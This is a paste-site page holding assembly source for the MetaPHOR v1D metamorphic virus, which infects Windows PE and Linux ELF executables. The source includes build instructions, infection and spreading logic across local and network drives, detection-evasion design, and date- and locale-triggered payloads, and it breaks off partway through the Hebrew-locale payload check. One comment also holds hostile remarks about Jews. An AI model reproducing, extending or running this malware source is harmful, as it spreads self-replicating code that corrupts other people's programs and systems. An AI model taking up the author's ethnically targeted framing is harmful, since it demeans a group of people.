All pastes #173673 Raw Edit

Anonymous

public text v1 · immutable
·published 2006-09-17 04:51 UTC
rendered paste body
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ----------------------------                                              ;;
;; * Win32/Linux.MetaPHOR v1D *                                              ;;
;; ----------------------------                                              ;;
;;                                                                           ;;
;; Metamorphic Permutating High-Obfuscating Reassembler                      ;;
;;                                                                           ;;
;;                                           Coded by The Mental Driller/29A ;;
;;                                                                           ;;
;;                                                                           ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It       ;;
;; doesn't uses the stack to construct strings, executable code or data:     ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with          ;;
;; VirtualAlloc/malloc and then use the decryptor to copy the decrypted      ;;
;; virus there (or unencrypted, since it has a probability of 1/16 of being  ;;
;; unencrypted, so the decryptor in that cases is in fact a copy routine).   ;;
;; The reserved memory is organized in sections (as if it were a PE) where I ;;
;; do all the operations.                                                    ;;
;;                                                                           ;;
;; Undex Linux:                                                              ;;
;; If malloc() nor exit() is imported by the executable, then it's not       ;;
;; infected. If it has this two functions imported, then malloc is used in   ;;
;; the decryptor                                                             ;;
;;                                                                           ;;
;; Under Win32:                                                              ;;
;; VirtualAlloc will be retrieved by the decryptor if it's not imported by   ;;
;; the host, and the host must import GetModuleHandleA/W or LoadLibraryA/W   ;;
;; and GetProcAddress to be infected. This functions will be used by the     ;;
;; virus to get the needed APIs.                                             ;;
;;                                                                           ;;
;;                                                                           ;;
;; The type of metamorphism followed is what I call the "accordion model":   ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion ->     ;;
;; -> reassembly, so the code can be bigger or smaller than the previous     ;;
;; generation.                                                               ;;
;;                                                                           ;;
;; The metamorphism in this virus is complete: even the result of the        ;;
;; shrinking can't be used for detection, because is different in every      ;;
;; generation. That's the point where I introduce a new concept: dimensions  ;;
;; in recoding (I mean, code that only get shrinked on two or more           ;;
;; generations, but not in the immediate following; this would be the        ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing  ;;
;; uncontrolablely.                                                          ;;
;;                                                                           ;;
;; I have added a genetic algorithm in certain parts of the code to make it  ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so   ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P).   ;;
;;                                                                           ;;
;; I tried to comment the code as cleanly as possible, but well... :)        ;;
;;                                                                           ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because:  ;;
;;                                                                           ;;
;; 1) It's more clear to see the code that the internal engine will deal     ;;
;;  with (for example, many times I use SUB ECX,1 instead of DEC ECX,        ;;
;;  although the disassembler can deal with both opcodes).                   ;;
;; 2) What's the point for optimizing the code when in next generation it    ;;
;;  will be completely unoptimized/garbled? :)                               ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger).           ;;
;;                                                                           ;;
;;                                                                           ;;
;;  General sheet of characteristics:                                        ;;
;;                                                                           ;;
;;    Name of the virus.............: MetaPHOR v1D                           ;;
;;    Author........................: The Mental Driller / 29A (when I made  ;;
;;                                                           it, now ex-29A, ;;
;;							     for the moment) ;;
;;    Size..........................: On 1st generation: aprox. 39450 bytes  ;;
;;                                    On next ones: variable, but not less   ;;
;;                                                  than 80 Kb               ;;
;;    Targets.......................: Win32 PE EXEs, supporting three types  ;;
;;                                    of infection: mid-infection (when      ;;
;;                                    .reloc is present), at last section    ;;
;;                                    but using the padding space between    ;;
;;                                    sections to store the decrytor/mover,  ;;
;;                                    or all at last section.                ;;
;;                                    Linux ELFs, adding a new section in    ;;
;;                                    the data segment.                      ;;
;;                                    It infects PEs/ELFs with a 50% of prob.;;
;;                                    in current directory and going up the  ;;
;;                                    directory tree by three levels. It     ;;
;;                                    also retrieves the drive strings on    ;;
;;                                    the system and makes the same if they  ;;
;;                                    are fixed or network drives (on Win32) ;;
;;                                    or it retrieves the mounted units and  ;;
;;                                    infects there.                         ;;
;;                                    It uses EPO patching ExitProcess/_exit ;;
;;                                    on Win32 and exit() on Linux.          ;;
;;    Stealth action................: It doesn't enter in directories that   ;;
;;                                    begin with 'W' (avoiding the windows   ;;
;;                                    directory) and doesn't infect files    ;;
;;                                    with a 'V' in the name or beginning    ;;
;;                                    with the letters 'PA', 'F-', 'SC',     ;;
;;                                    'DR' or 'NO'.                          ;;
;;                                    Genetic algorithm in the selection of  ;;
;;                                    the infection methods, the creation of ;;
;;                                    of the decryptor and some more things  ;;
;;                                    to make it more resistant or more      ;;
;;                                    difficult to detect due to "evolution".;;
;;    Encrypted.....................: Sometimes not.                         ;;
;;    Polymorphic...................: Yes                                    ;;
;;    Metamorphic...................: Yes                                    ;;
;;    Payloads......................: For Win32:                             ;;
;;                                    1) A message box on 17h March and      ;;
;;                                      September with a metamorphic message ;;
;;                                      :).                                  ;;
;;                                    2) On 14h May and on hebrew systems it ;;
;;                                      displays a messagebox with the text: ;;
;;                                      "Free Palestine!"                    ;;
;;                                    For Linux:                             ;;
;;                                      Exactly the same payload but writing ;;
;;                                      the strings to stdout.               ;;
;;    Anti-debugging................: Implicit                               ;;
;;    Release history...............:                                        ;;
;;           v1A:  11-02-2002 (I just finished commenting the source code    ;;
;;                              and correcting the bugs I found doing that). ;;
;;           v1B:  14-02-2002                                                ;;
;;           v1C:  06-05-2002 (just three weeks after I seriously began      ;;
;;                              with Linux).                                 ;;
;;           v1D:  26-07-2004 Just to to correct a pair of bugs and add some ;;
;;                            comments. Detection now is a lot harder due to ;;
;;                            the correction of these bugs.                  ;;
;;                                                                           ;;
;;                                                                           ;;
;; To do in next versions:                                                   ;;
;;                                                                           ;;
;; 1) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;;   have to code a new disassembler/reassembler, since for every internal   ;;
;;   operation I use a self-defined pseudo-assembler with its own opcodes.   ;;
;; 2) Plug-in injector                                                       ;;
;; 3) More things (of course!! :).                                           ;;
;;                                                                           ;;
;; Thanks to:                                                                ;;
;;  - 29A, members and ex-members                                            ;;
;;  - Old coders that made serious shit, and the others that discovered it.  ;;
;;  - Musicians that make my life easier.                                    ;;
;;                                                                           ;;
;; In this period of life I have (re)discovered dark music and extreme metal,;;
;; maybe when I was supposed to need some happier music, but what the heck!  ;;
;; This time musical dedications go to Cradle of Filth and Dimmu Borgir.     ;;
;;                                                                           ;;
;;                                                                           ;;
;; To assemble:                                                              ;;
;;    TASM32 /m29A /ml MetaPHOR.asm                                          ;;
;;    TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib                        ;;
;;                                                                           ;;
;;    No need of PEWRSEC!                                                    ;;
;;                                                                           ;;
;;                                                                           ;;
;; Quick reference (keyword search):                                         ;;
;;                                                                           ;;
;;    Variable declaration........................: Key_!VarDeclr            ;;
;;    Beginning of virus..........................: Key_!VirusStart          ;;
;;    Disassembler................................: Key_!Disassembler        ;;
;;    Shrinker....................................: Key_!Shrinker            ;;
;;    Variable identificator......................: Key_!VarIdent            ;;
;;    Permutator..................................: Key_!Permutator          ;;
;;    Expander....................................: Key_!Xpander             ;;
;;    Reassembler.................................: Key_!Assembler           ;;
;;    Infection code..............................: Key_!Infector            ;;
;;    Decryptor maker.............................: Key_!MakePoly            ;;
;;                                                                           ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals

.code
                ret   ; All code in DATA section. TASM allow this and we
.data                 ; don't need to activate the write flag after assembling
                      ; the code.

AddressToFree   dd      0

extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC        ; First generation imports


;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain         proc
                push    4
                push    1000h
                push    340000h     ; Reserve 340000h bytes (~ 3.4Mb)
                push    0
                call    VirtualAlloc
                or      eax, eax
                jz    @@Error
                mov     ebp, eax    ; Set delta of reserved memory

                mov     [AddressToFree], eax
                mov     ebx, eax
                mov     esi, offset Main
                mov     edi, eax
                mov     ecx, offset EndOfCode
                sub     ecx, offset Main
                rep     movsb         ; Copy virus

                push    __DISASM2_SECTION
                push    __DATA_SECTION
                push    __BUFFERS_SECTION
                push    __DISASM_SECTION
                push    __CODE_SECTION     ; Push section addresses
                mov     eax, offset GetProcAddress
                mov     eax, [eax+2]
                push    eax              ; Push needed APIs
                mov     eax, offset GetModuleHandleA
                mov     eax, [eax+2]
                push    eax
                push    5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
                call    ebx             ; Call MetaPHOR!

                push    0C000h
                push    0
                push    dword ptr [AddressToFree]
                call    VirtualFree    ; This isn't needed at all, since where
                              ; our process is destroyed all the virtual memory
                              ; allocated by it is deallocated automatically.
      @@Error:
                push    0
                call    ExitProcess
PreMain         endp

;; Now we are executing in the reserved memory

;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.

;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;;     * (Number of register used for Delta SHL 1) AND (A/W flag for
;;          GetModuleHandleA/W)
;;;     * Address to GetModuleHandle in import table
;;;     * Address to GetProcAddress in import table
;;;     * Offset of CODE_SECTION
;;;     * Offset of DISASM_SECTION
;;;     * Offset of BUFFERS_SECTION
;;;     * Offset of DATA_SECTION
;;;     * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.

;;
;;

;; KEYWORD: Key_!VirusStart

Main            proc
                ; EBP = Delta offset
                pop     ebx     ; Return address

                pop     eax
                mov     ecx, eax
                mov     edx, eax
                and     eax, 1
                mov     [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
                and     ecx, 0000000Eh
                shr     ecx, 1
                mov     [ebp+DeltaRegister], ecx ; Get the delta register nr.
                and     edx, 100h
                shr     edx, 8
                mov     [ebp+OperatingSystem], edx  ; 0 = Win32, 1 = Linux
                or      edx, edx
                jnz   @@NoWin32APIs
                pop     eax
                mov     eax, [eax]
                mov     [ebp+RVA_GetModuleHandle], eax
                pop     eax
                mov     eax, [eax]
                mov     [ebp+RVA_GetProcAddress], eax
       @@NoWin32APIs:
                pop     eax
                and     eax, 03FFFFFh         ; Eliminate the two highest bits
                mov     [ebp+_CODE_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh         ; "
                mov     [ebp+_DISASM_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh         ; "
                mov     [ebp+_BUFFERS_SECTION], eax

                mov     [ebp+_LABEL_SECTION], eax  ; Construct the other
                add     eax, 10000h                ; section addresses
                mov     [ebp+_VARIABLE_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_BUFFER1_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_BUFFER2_SECTION], eax
                add     eax, 10000h
                mov     [ebp+_VAR_MARKS_SECTION], eax

                pop     eax
                and     eax, 03FFFFFh
                mov     [ebp+_DATA_SECTION], eax
                pop     eax
                and     eax, 03FFFFFh
                mov     [ebp+_DISASM2_SECTION], eax
                push    ebx ; Restore return value


;                 mov     eax, [ebp+_DISASM2_SECTION]
;                 add     eax, ebp
;                 mov     [ebp+OtherBuffers], eax
;                 mov     eax, '!'
;                 call    DebugOutput

                mov     eax, [ebp+OperatingSystem] ; Fork the process to return
                or      eax, eax                   ; to the command line and
                jz    @@Continue_DontFork          ; continue in the background
                mov     eax, 2
                push    eax
                xor     eax, eax
                push    eax
                push    eax
                xor     eax, eax
                push    eax
                call    Linux_Syscall
                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jnz   @@Error
        @@Continue_DontFork:


;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;;        SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;;        SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
                push    eax
                mov     eax, 0
                mov     ecx, 10808080h   ; Weights 3,2,1 and 0
                mov     [ebp+Weight_X000_3], ecx
                pop     eax


                push    eax
                mov     eax, 1
                mov     ecx, 10808010h   ; Weights 7,6,5,4
                mov     [ebp+Weight_X004_7], ecx
                pop     eax

                push    eax
                mov     eax, 2
                mov     ecx, 80808055h   ; Weights 11,10,9,8
                mov     [ebp+Weight_X008_11], ecx
                pop     eax

                push    eax
                mov     eax, 3
                mov     ecx, 80408080h   ; Weights 15,14,13,12
                mov     [ebp+Weight_X012_15], ecx
                pop     eax

                push    eax
                mov     eax, 4
                mov     ecx, 55404040h   ; Weights 19,18,17,16
                mov     [ebp+Weight_X016_19], ecx
                pop     eax

                push    eax
                mov     eax, 5
                mov     ecx, 0F0808080h   ; Weights 23,22,21,20
                mov     [ebp+Weight_X020_23], ecx
                pop     eax

                push    eax
                mov     eax, 6
                mov     ecx, 80558080h    ; Weights 27,26,25,24
                mov     [ebp+Weight_X024_27], ecx
                pop     eax

                mov     eax, [ebp+OperatingSystem] ; If Linux, use syscalls
                or      eax, eax
                jnz   @@DontRetrieveAPIs

;; Let's get the addresses of the APIs that we are going to use:
                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, 'nrek'
                mov     [edx], eax
                mov     eax, '23le'
                mov     [edx+4], eax
                mov     eax, 'lld.'
                mov     [edx+8], eax
                xor     eax, eax
                mov     [edx+0Ch], eax  ; Get the address of KERNEL32.DLL
                call    APICall_GetModuleHandle
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax        ; Get the handle. If 0, we exit
                jz    @@Error
                mov     [ebp+hKernel], eax

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, 'resu'
                mov     [edx], eax
                mov     eax, 'd.23'
                mov     [edx+4], eax
                mov     eax, 'll'
                mov     [edx+8], eax  ; Get the address of USER32.DLL
                call    APICall_GetModuleHandle
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue] ; It doesn't matter if we
                mov     [ebp+hUser32], eax     ; failed: it's used only to
                                               ; get MessageBoxA for the
                                               ; payload

                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp
                mov     edi, [ebp+hKernel]  ; Place to construct the addresses
                                            ; names

                mov     eax, 'aerC'
                mov     [edx], eax
                mov     eax, 'iFet'
                mov     [edx+4], eax
                mov     eax, 'Ael'
                mov     [edx+8], eax
                call    GetFunction   ; Get CreateFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CreateFileA], eax

                mov     eax, 'ppaM'
                mov     [edx+0Ah], eax
                mov     eax, 'Agni'
                mov     [edx+0Eh], eax
                xor     eax, eax
                mov     [edx+12h], eax
                call    GetFunction   ; Get CreateFileMappingA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CreateFileMappingA], eax

                add     edx, 2
                mov     eax, 'VpaM'
                mov     [edx], eax
                mov     eax, 'Owei'
                mov     [edx+4], eax
                mov     eax, 'liFf'
                mov     [edx+8], eax
                mov     eax, 'e'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get MapViewOfFile
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_MapViewOfFile], eax

                sub     edx, 2
                mov     eax, 'amnU'
                mov     [edx], eax
                call    GetFunction   ; Get UnmapViewOfFile
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_UnmapViewOfFile], eax

                mov     eax, 'SteG'
                mov     [edx], eax
                mov     eax, 'etsy'
                mov     [edx+4], eax
                mov     eax, 'miTm'
                mov     [edx+8], eax
                mov     eax, 'e'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get GetSystemTime
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetSystemTime], eax

                mov     eax, 'virD'
                mov     [edx+3], eax
                mov     eax, 'pyTe'
                mov     [edx+7], eax
                mov     eax, 'Ae'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get GetDriveTypeA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetDriveTypeA], eax

                mov     eax, 'igoL'
                mov     [edx+3], eax
                mov     eax, 'Dlac'
                mov     [edx+7], eax
                mov     eax, 'evir'
                mov     [edx+0Bh], eax
                mov     eax, 'irtS'
                mov     [edx+0Fh], eax
                mov     eax, 'Asgn'
                mov     [edx+13h], eax
                xor     eax, eax
                mov     [edx+17h], eax
                call    GetFunction   ; Get GetLogicalDriveStringsA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetLogicalDriveStringsA], eax

                mov     eax, 'tsyS'
                mov     [edx+3], eax
                mov     eax, 'eDme'
                mov     [edx+7], eax
                mov     eax, 'luaf'
                mov     [edx+0Bh], eax
                mov     eax, 'ICLt'
                mov     [edx+0Fh], eax
                mov     eax, 'D'
                mov     [edx+13h], eax
                call    GetFunction   ; Get GetSystemDefaultLCID
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetSystemDefaultLCID], eax

                mov     eax, 'CteS'
                mov     [edx], eax
                mov     eax, 'erru'
                mov     [edx+4], eax
                mov     eax, 'iDtn'
                mov     [edx+8], eax
                mov     eax, 'tcer'
                mov     [edx+0Ch], eax
                mov     eax, 'Ayro'
                mov     [edx+10h], eax
                xor     eax, eax
                mov     [edx+14h], eax
                call    GetFunction   ; Get SetCurrentDirectoryA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetCurrentDirectoryA], eax

                mov     eax, 'FteG'
                mov     [edx], eax
                mov     eax, 'Seli'
                mov     [edx+4], eax
                mov     eax, 'ezi'
                mov     [edx+8], eax
                call    GetFunction   ; Get GetFileSize
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetFileSize], eax

                mov     eax, 'rttA'
                mov     [edx+7], eax
                mov     eax, 'tubi'
                mov     [edx+0Bh], eax
                mov     eax, 'Ase'
                mov     [edx+0Fh], eax
                call    GetFunction   ; Get GetFileAttributesA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_GetFileAttributesA], eax

                mov     eax, 'FteS'
                mov     [edx], eax
                call    GetFunction   ; Get SetFileAttributesA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFileAttributesA], eax

                mov     eax, 'nioP'
                mov     [edx+7], eax
                mov     eax, 'ret'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetFilePointer
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFilePointer], eax

                mov     eax, 'emiT'
                mov     [edx+7], eax
                xor     eax, eax
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetFileTime
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetFileTime], eax

                mov     eax, 'OdnE'
                mov     [edx+3], eax
                mov     eax, 'liFf'
                mov     [edx+7], eax
                mov     eax, 'e'
                mov     [edx+0Bh], eax
                call    GetFunction   ; Get SetEndOfFile
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_SetEndOfFile], eax

                mov     eax, 'dniF'
                mov     [edx], eax
                mov     eax, 'sriF'
                mov     [edx+4], eax
                mov     eax, 'liFt'
                mov     [edx+8], eax
                mov     eax, 'Ae'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get FindFirstFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindFirstFileA], eax

                mov     eax, 'txeN'
                mov     [edx+4], eax
                mov     eax, 'eliF'
                mov     [edx+8], eax
                mov     eax, 'A'
                mov     [edx+0Ch], eax
                call    GetFunction   ; Get FindNextFileA
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindNextFileA], eax

                mov     eax, 'solC'
                mov     [edx+4], eax
                mov     eax, 'e'
                mov     [edx+8], eax
                call    GetFunction   ; Get FindClose
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_FindClose], eax

                add     edx, 4
                mov     eax, 'dnaH'
                mov     [edx+5], eax
                mov     eax, 'el'
                mov     [edx+9], eax
                call    GetFunction   ; Get CloseHandle
                or      eax, eax
                jz    @@Error
                mov     [ebp+RVA_CloseHandle], eax

                sub     edx, 4
                mov     edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
                mov     eax, 'sseM'        ; GetProcAddress
                mov     [edx], eax
                mov     eax, 'Bega'
                mov     [edx+4], eax
                mov     eax, 'Axo'
                mov     [edx+8], eax
                call    GetFunction   ; Get MessageBoxA (from User32.DLL)
                mov     [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
                                                   ; not loaded

     @@DontRetrieveAPIs:
;; Let's initialize the random seed
                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@W32_GetSystemTime

                mov     eax, 0Dh     ; Get the time of the system (Linux)
                push    eax
                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp
                push    eax
                xor     eax, eax
                push    eax
                push    eax
                call    Linux_Syscall
                mov     eax, [ebp+ReturnValue]
                mov     [ebp+RndSeed1], eax
                mov     eax, [ebp+_CODE_SECTION] ; Mix it with the first bytes
                add     eax, ebp                 ; of this mutation
                mov     eax, [eax+5]
                mov     [ebp+RndSeed2], eax
                jmp   @@GarbleRandomSeeds

     @@W32_GetSystemTime:
                push    eax
                push    ecx
                push    edx ; APICALL_BEGIN

                mov     eax, [ebp+_BUFFER1_SECTION]
                add     eax, ebp
                push    eax
                call    dword ptr [ebp+RVA_GetSystemTime]

                pop     edx
                pop     ecx
                pop     eax ; APICALL_END

                mov     ebx, [ebp+_BUFFER1_SECTION]
                add     ebx, ebp
                mov     eax, [ebx+04h]
                add     eax, [ebx+0Ch]
                mov     [ebp+RndSeed1], eax
                add     eax, [ebx+08h]
                mov     [ebp+RndSeed2], eax

     @@GarbleRandomSeeds:
                call    Random
                call    Random  ; Garble it a little

   ;; Now let's make some mixtures in the weights. Since the weights are
   ;; going to be hardcoded on the virus code before its use, we make here
   ;; some "garblement" to force the evolution of the infection methods. With
   ;; this, only the most powerful features will "survive".

                xor     ecx, ecx
          @@LoopGarbleWeights:
                push    ecx
                and     ecx, 3
                mov     eax, ecx
                call    RandomBoolean_X000_3
                mov     eax, ecx
                call    RandomBoolean_X004_7
                mov     eax, ecx
                call    RandomBoolean_X008_11
                mov     eax, ecx
                call    RandomBoolean_X012_15
                mov     eax, ecx
                call    RandomBoolean_X016_19
                mov     eax, ecx
                call    RandomBoolean_X020_23
                mov     eax, ecx
                call    RandomBoolean_X024_27
                pop     ecx
                add     ecx, 1
                cmp     ecx, 40h
                jnz   @@LoopGarbleWeights


;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;;  randomly the case of all letters.

                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@TryWin32Payload
                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp
                mov     eax, [edx]
                xor     esi, esi
                mov     ecx, 2
                mov     ebx, 3C93DC80h ; Seconds time-stamp for 17/03/2002
       @@LoopCheckDay_1:
                cmp     eax, ebx
                jb    @@CheckPayload2
                add     ebx, 15180h
                cmp     eax, ebx
                jb    @@MakePayload
                add     ebx, 0F29400h - 15180h  ; Add the "distance" in seconds
                cmp     eax, ebx                ; from 17/03 to 17/09
                jb    @@CheckPayload2
                add     ebx, 15180h
                cmp     eax, ebx
                jb    @@MakePayload
                add     ebx, 0EE9F80h - 15180h  ; Add to get the next year
                add     ecx, 1
                and     ecx, 3
                or      ecx, ecx
                jnz   @@DontAddFeb29th_1
                add     ebx, 15180h
       @@DontAddFeb29th_1:
                inc     esi
                cmp     esi, 20h
                jbe   @@LoopCheckDay_1
                jmp   @@CheckPayload2

       @@TryWin32Payload:
                mov     eax, [ebp+RVA_MessageBoxA]
                or      eax, eax
                jz    @@NoPayload      ; If we couldn't retrieve MessageBoxA,
                                       ; skip the payload

                mov     edx, [ebp+_BUFFER1_SECTION]
                add     edx, ebp
                mov     eax, [edx+2]
                and     eax, 0FFh
                cmp     eax, 3           ; Month: March, June, September or
                jz    @@Payload_Month    ;    December
                ;cmp     eax, 6
                ;jz    @@Payload_Month
                cmp     eax, 9
                ; jz    @@Payload_Month
                ;cmp     eax, 0Ch
                jnz   @@CheckPayload2
       @@Payload_Month:
                mov     eax, [edx+6]
                and     eax, 0FFh
                cmp     eax, 11h         ; Day: 17
                jnz   @@CheckPayload2

       @@MakePayload:
                mov     ecx, edx
                push    edx
                call    Random
                and     eax, 20202020h   ;; All the phrase is:
                add     eax, 'ATEM'      ;; "META"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ROHP'      ;; "PHOR"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 00200000h
                add     eax, ' D1 '      ;; " 1D "
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20002020h
                add     eax, 'T YB'      ;; "BY T"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20002020h
                add     eax, 'M EH'      ;; "HE M"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ATNE'      ;; "ENTA"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20200020h
                add     eax, 'RD L'      ;; "L DR"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 20202020h
                add     eax, 'ELLI'      ;; "ILLE"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 00000020h
                add     eax, '92/R'      ;; "R/29"
                mov     [edx], eax
                add     edx, 4
                call    Random
                and     eax, 0FFFF0020h
                add     eax, 'A'         ;; "A"
                mov     [edx], eax
                sub     edx, ecx
                mov     ecx, edx
                pop     edx
                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@MakeMessageBox

                add     ecx, 2      ; Add an intro under Linux
                mov     eax, 0Ah
                add     edx, ecx
                mov     [edx-1], eax
                sub     edx, ecx
                mov     eax, 4
                push    eax
                mov     eax, 1
                push    eax
                push    edx
                xor     eax, eax
                push    ecx
                call    Linux_Syscall  ; Write it to stdout
                jmp   @@EndPayload

      @@MakeMessageBox:
                                  ; "METAPHOR 1D BY THE MENTAL DRILLER/29A"
                push    eax       ; with random upcases and lowcases.
                push    ecx
                push    edx  ; APICALL_BEGIN

                xor     eax, eax
                push    eax
                mov     eax, edx
                push    eax
                push    eax
                xor     eax, eax
                push    eax
                call    dword ptr [ebp+RVA_MessageBoxA]

                pop     edx
                pop     ecx
                pop     eax
                jmp   @@EndPayload


 ; Not so-silly 2nd part of the payload.
 ; We get the system language and, if it's hebrew, we show a message box with
 ; the message "Free Palestine!", my little contribution against the illegal
 ; occupation performed by the jews and supported by the USA. The message will
 ; show on 14 May, the day that the state of Israel was self-declarated.
 ; Notice that I'm not supporting organizations like Hamas or shit like that,
 ; but it's true that jews began the war stealing the Palestinian home to
 ; the Palestinian People. Anyway, killing people is not the solution
 ; (wherever the side of the conflict they are in).


   @@CheckPayload2:
                mov     eax, [ebp+OperatingSystem]
                or      eax, eax
                jz    @@TryWin32Payload_2
                mov     eax, [edx]
                mov     [ebp+Linux_SecondsCount], eax ; Save seconds

                mov     eax, 'orp/'     ; Open the environment variables for
                mov     [edx], eax      ; this process
                mov     eax, 'es/c'
                mov     [edx+4], eax
                mov     eax, 'e/fl'
                mov     [edx+8], eax
                mov     eax, 'rivn'
                mov     [edx+0Ch], eax
                mov     eax, 'no'
                mov     [edx+10h], eax
                mov     eax, 5
                push    eax
                push    edx
                xor     eax, eax
                push    eax
                push    eax
                call    Linux_Syscall ; Open /proc/self/environ
                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@NoPayload
                cmp     eax, 0FFFFF000h
                jae   @@NoPayload
                mov     [ebp+hFile], eax
                mov     ebx, eax
                mov     eax, 3         ; Read the file
                push    eax
                push    ebx
                mov     eax, edx
                push    eax
                mov     eax, 1000h
                push    eax
                call    Linux_Syscall
                mov     eax, [ebp+ReturnValue]
                push    eax
                mov     eax, 6            ; Close the file descriptor
                push    eax
                mov     eax, [ebp+hFile]
                push    eax
                xor     eax, eax
                push    eax
                push    eax
                call    Linux_Syscall
                pop     eax
                cmp     eax, 8
                jbe   @@NoPayload
                cmp     eax, 3FF8h       ; If too big, exit from payload rout.
                jae   @@NoPayload

        ;; We get the Linux locale
                mov     esi, [ebp+_BUFFER1_SECTION]
                add     esi, ebp
                mov     edx, esi
                sub     eax, 8
                ; EAX = Count
        @@LoopSearchLANG:
                mov     ecx, [esi]
                and     ecx, 0DFDFDFDFh  ; Search the language variable
                cmp     ecx, 'GNAL' AND 0DFDFDFDFh
                jz    @@MaybeLANGFound
        @@SearchLANGNext:
                add     esi, 1
                sub     eax, 1
                or      eax, eax
                jnz   @@LoopSearchLANG
                jmp   @@NoPayload
        @@MaybeLANGFound:
                mov     ecx, [esi+4]
                and     ecx, 0FFh
                cmp     ecx, '='
                jnz   @@SearchLANGNext
                mov     ecx, [esi+5]
                and     ecx, 0000DFDFh  ; Hebrew?
                cmp     ecx, 'EH' AND 0000DFDFh
                jnz   @@SearchLANGNext


